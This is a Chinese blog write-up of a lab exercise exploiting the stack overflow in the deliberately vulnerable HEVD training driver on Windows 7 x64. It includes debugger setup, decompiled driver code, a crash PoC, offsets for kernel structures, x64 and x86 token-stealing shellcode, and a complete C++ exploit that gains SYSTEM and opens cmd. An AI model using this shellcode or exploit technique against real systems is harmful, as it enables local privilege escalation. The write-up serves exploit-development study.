HEVD win7 x64 stack overflow

尝试学点新东西,应该算是很久没学了

环境:
虚拟机:Win7 SP1 x64
物理机:Win10
debugger:windbg preview
compiler:vs2022

环境搭建

VirtualKD-Redux

看了很多博客,以及尝试搭建环境,最后发现还是别人写的轮子好用

VirtualKD-Redux

下载之后,解压,把target64文件夹放到虚拟机中,然后在虚拟机运行vminstall.exe即可

这个安装所做的事情,如VirtualKD加速windbg双机调试速度所说

第一件事情就是添加了一个VirtualKD的启动项

但是第二件事情,我并没找到存在DDKLaunchMonitor.exe文件以及对注册表修改的行为(这个注册表的行为,可以看到老版本的这个轮子,存在kdpatch.reg),但是我发现kdbazis.dll该文件被放到了C:\Windows\System32目录下,查阅了一些资料,提到kdbazis.dll是由kdvm.dll重命名而来(重命名是因为避免win8以上的操作系统文件名称冲突),其作用就是用于通信,根据运行在主机运行vmmon64.exe的窗口的log可以看到VirtualKD-Redux patcher DLL successfully loaded. Patching the GuestRPC mechanism...,那应该就是对于GuestRPC的机制进行patch,从而便于通信,并且该模式下,可以加载未签名的驱动,即将要加载的HEVD.sys

主机在win7启动时,运行vmmon64进行监控,并启动Run debugger

OSRLOADER

加载HEVD.sys驱动

Windbg Preview

需要设置一下_NT_SYMBOL_PATH,为srv*H:\WinSymbols*https://msdl.microsoft.com/download/symbols;

在调试时,可以加载HEVD.pdb便于下断点,以及需要在OSRLOADERstart service才可以看到HEVD驱动

利用lm m h*指令就可以看到HEVD是否加载了

漏洞

可以通过lm m HEVDHEVD模块的基础信息,通过!drvobj HEVD 2查看该驱动的详细的信息

IrpDeviceIoCtlHandler()接口可以看到各种ioctlhandler,其中栈溢出为0x222003

case 0x222003:
    DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
    FakeObjectNonPagedPoolNxIoctlHandler = BufferOverflowStackIoctlHandler(Irp, CurrentStackLocation);
    v7 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
    goto LABEL_62;

漏洞点十分简单,就是裸溢出

__int64 __fastcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
  _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
  __int64 result; // rax
  unsigned __int64 Options; // rdx

  Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  result = 0xC0000001i64;
  Options = IrpSp->Parameters.Create.Options;
  if ( Parameters )
    return TriggerBufferOverflowStack(Parameters, Options);
  return result;
}
__int64 __fastcall TriggerBufferOverflowStack(void *UserBuffer, unsigned __int64 Size)
{
  char v5[2048]; // [rsp+20h] [rbp-818h] BYREF

  memset(v5, 0, sizeof(v5));
  ProbeForRead(UserBuffer, 0x800ui64, 1u);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", v5);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 0x800i64);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
  memmove(v5, UserBuffer, Size);                // stack overflow
  return 0i64;
}

因此输入字符串覆盖到ret即可触发漏洞

exp

POC

#include <stdio.h>
#include <windows.h>

int main()
{
    // open device 
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);

    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("open failed\n");
        system("pause");

        return -1;
    }

    printf("Device Handle: 0x%p\n", dev);

    CHAR* chBuffer;
    int chBufferLen = 0x818;
    
    chBuffer = (CHAR*)malloc(chBufferLen + 0x8 + 0x8 + 0x8);
    memset(chBuffer, 0xff, chBufferLen);
    memset(chBuffer + chBufferLen, 0x41, 0x8);
    memset(chBuffer + chBufferLen + 0x8, 0x42, 0x8);
    memset(chBuffer + chBufferLen + 0x10, 0x43, 0x8);

    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, 0x222003, chBuffer, chBufferLen + 0x18, NULL, 0, &size_returned, NULL);
    CloseHandle(dev);
    system("pause");

    return 0;
}

首先打开这个设备,然后于这个设备进行交互,通过调试,可以看到最后ret的时候,rip跳转到了0x4141414141414141

EXP

现在要做的就是提权之后再打开一个cmd

目前第一个栈溢出的实验,是没开SMEP,因此可以直接跳转到用户态的空间执行指令,就可以直接VirtualAlloc一个可读可写可执行的页,从而直接执行提权的指令

这里是直接参考[Kernel Exploitation] 2: Payloads的方法,窃取的进程级令牌

每个windows进程都有一个EPROCESS结构体(PEB存在于用户空间),而这个EPROCESS结构包含一个Token字段,这个字段告诉系统该进程拥有什么权限,因此如果能找到特权进程的Token,将其偷过来,然后放到当前进程的Token上,就可以提权了

为了找到EPROCESS就需要依赖对下述结构体的了解

数据结构

_KPCR

KPCR代表Kernel Processor Control Region,内核为每一个逻辑处理器都维护一个KPCR

可以看到_KPRCB结构体在_KPCR的偏移为0x180的地方

0: kd> dt _KPCR Prcb
ntdll!_KPCR
   +0x180 Prcb : _KPRCB

_KPRCB

_KPRCB代表Kernel Processor Control Block,为KPCR的最后一个字段,拥有内核在管理处理器和管理资源时需要随时访问的大部分内容

可以看到在偏移为0x8的地方可以拿到当前的线程,因此直接通过 _KPCR+0x188 就可以获取当前内核线程的结构体

0: kd> dt _KPRCB CurrentThread
ntdll!_KPRCB
   +0x008 CurrentThread : Ptr64 _KTHREAD

_KTHREAD

KTHREAD是内核内部的线程结构

KPROCESS位于_KTHREAD.ApcState.Process之中

0: kd> dt _KTHREAD ApcState
ntdll!_KTHREAD
   +0x050 ApcState : _KAPC_STATE

_KAPC_STATE

_KAPC_STATE是一个较为简单的处理器状态集合

因此通过_KTHREAD+0x70可以获得_KPROCESS

0: kd> dt _KAPC_STATE Process
ntdll!_KAPC_STATE
   +0x020 Process : Ptr64 _KPROCESS

_EPROCESS

根据_EPROCESS_KPROCESS可知

_EPROCESS的第一项是_KPROCESS,因此找到_KPROCESS的地址,就相当于找到了_EPROCESS的地址,相当于_EPROCESS就是一个大结构体,其中的第一域就是_KPROCESS(P.S. _KTHREAD_ETHREAD也是类似的)

0: kd> dt _EPROCESS
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER
   +0x170 ExitTime         : _LARGE_INTEGER
   +0x178 RundownProtect   : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId  : Ptr64 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x208 Token            : _EX_FAST_REF
   ...

因此需要覆盖的Token就是0x208偏移的域,而可以通过遍历ActiveProcessLinks获取active的进程,且已知系统进程的PID4,因此就可以遍历0x188的进程链,找到PID == 4的进程,然后取出系统进程的Token,覆盖到当前进程的Token

shellcode

因此x64shellocde如下

xor rax, rax                        ; Set ZERO
mov rax, [gs:rax + 188h]            ; Get nt!_KPCR.PcrbData.CurrentThread
                                    ; _KTHREAD is located at GS : [0x188]           

mov rax, [rax + 70h]                ; Get nt!_KTHREAD.ApcState.Process     
mov rcx, rax                        ; Copy current process _EPROCESS structure  
mov r11, rcx                        ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                         ; WIN 7 SP1 SYSTEM process PID = 0x4           

SearchSystemPID:
mov rax, [rax + 188h]               ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp [rax + 180h], rdx               ; Get nt!_EPROCESS.UniqueProcessId 
jne SearchSystemPID

mov rdx, [rax + 208h]               ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov [rcx + 208h], rdx

备份一下x86

pushad                              ; Save registers state

; Start of Token Stealing Stub
xor eax, eax                        ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h]  ; Get nt!_KPCR.PcrbData.CurrentThread
                                    ; _KTHREAD is located at FS : [0x124]

mov eax, [eax + 50h]                ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax                        ; Copy current process _EPROCESS structure
mov edx, 04h                        ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0B8h]               ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx                ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + 0F8h]               ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx                ; Replace target process nt!_EPROCESS.Token
                                    ; with SYSTEM process nt!_EPROCESS.Token

exp.cpp

最终exp如下,这里的shellcode我是通过nasm进行编译的,然后再通过hexdump -e '16/1 "%02x" " | "' -e '16/1 "%_p" "\n"' ./1.o 变成可见字符的16进制,再转换的(没找到啥比较优雅的方式

#include <stdio.h>
#include <windows.h>

int main()
{
    // open device 
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);

    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("open failed\n");
        system("pause");

        return -1;
    }

    printf("Device Handle: 0x%p\n", dev);

    /* nasm -f elf64 ./1.s 
    xor rax, rax                    ; Set ZERO
    mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                    ; _KTHREAD is located at GS : [0x188]

    mov rax, [rax + 70h]            ; Get nt!_KTHREAD.ApcState.Process
    mov rcx, rax                    ; Copy current process _EPROCESS structure
    mov r11, rcx                    ; Store Token.RefCnt
    and r11, 7

    mov rdx, 4h                     ; WIN 7 SP1 SYSTEM process PID = 0x4

    SearchSystemPID:
        mov rax, [rax + 188h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub rax, 188h
        cmp [rax + 180h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID

    mov rdx, [rax + 208h]           ; Get SYSTEM process nt!_EPROCESS.Token
    and rdx, 0fffffffffffffff0h
    or rdx, r11
    mov [rcx + 208h], rdx
    */ 
    

    CHAR shellcode[] =
    {	
        // push rax; push rbx; push rcx; push rdx; push rdi; push rsi; push r8; push r9; push r10; push r11; push r12; push r13; push r14; push r15
        "\x50\x53\x51\x52\x57\x56\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57"
        
        // change token
        "\x48\x31\xc0\x65\x48\x8b\x80\x88\x01\x00\x00\x48\x8b\x40\x70\x48\x89\xc1\x49\x89\xcb\x49\x83\xe3\x07\xba\x04\x00\x00\x00\x48\x8b\x80\x88\x01\x00\x00\x48\x2d\x88\x01\x00\x00\x48\x39\x90\x80\x01\x00\x00\x75\xea\x48\x8b\x90\x08\x02\x00\x00\x48\x83\xe2\xf0\x4c\x09\xda\x48\x89\x91\x08\x02\x00\x00"
        
        // pop r15; pop r14; pop r13; pop r12; pop r11; pop r10; pop r9; pop r8; pop rsi; pop rdi; pop rdx; pop rcx; pop rbx; pop rax;
        "\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59\x41\x58\x5e\x5f\x5a\x59\x5b\x58"

        "\x48\x83\xc4\x28"					// add rsp, 0x28
        "\xc3"								// ret
    };

    LPVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (addr == NULL)
    {
        printf("VirtualAlloc failed\n");
        system("pause");

        return -1;
    }

    RtlCopyMemory(addr, shellcode, sizeof(shellcode));

    CHAR* chBuffer;
    int chBufferLen = 0x818;
    
    chBuffer = (CHAR*)malloc(chBufferLen + 0x8 + 0x8 + 0x8);
    memset(chBuffer, 0xff, chBufferLen);
    //memset(chBuffer + chBufferLen, 0x41, 0x8);
    *(INT64*)(chBuffer + chBufferLen) = (INT64)addr;
    memset(chBuffer + chBufferLen + 0x8, 0x42, 0x8);
    memset(chBuffer + chBufferLen + 0x10, 0x43, 0x8);

    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, 0x222003, chBuffer, chBufferLen + 0x18, NULL, 0, &size_returned, NULL);
    CloseHandle(dev);
    system("pause");

    system("start cmd");

    return 0;
}

需要注意的是编写exp,最后需要能让ioctlhandler不崩溃的返回,才可以再起cmd,得到一个提权之后的进程,因此要恢复retBufferOverflowStackIoctlHandler之后的add rsp, 0x28; ret指令

参考

https://bbs.pediy.com/thread-270159.htm
https://h0mbre.github.io/HEVD_Stackoverflow_64bit/
https://www.anquanke.com/post/id/245528
https://50u1w4y.github.io/site/HEVD/homePage/
https://www.abatchy.com/2018/01/kernel-exploitation-2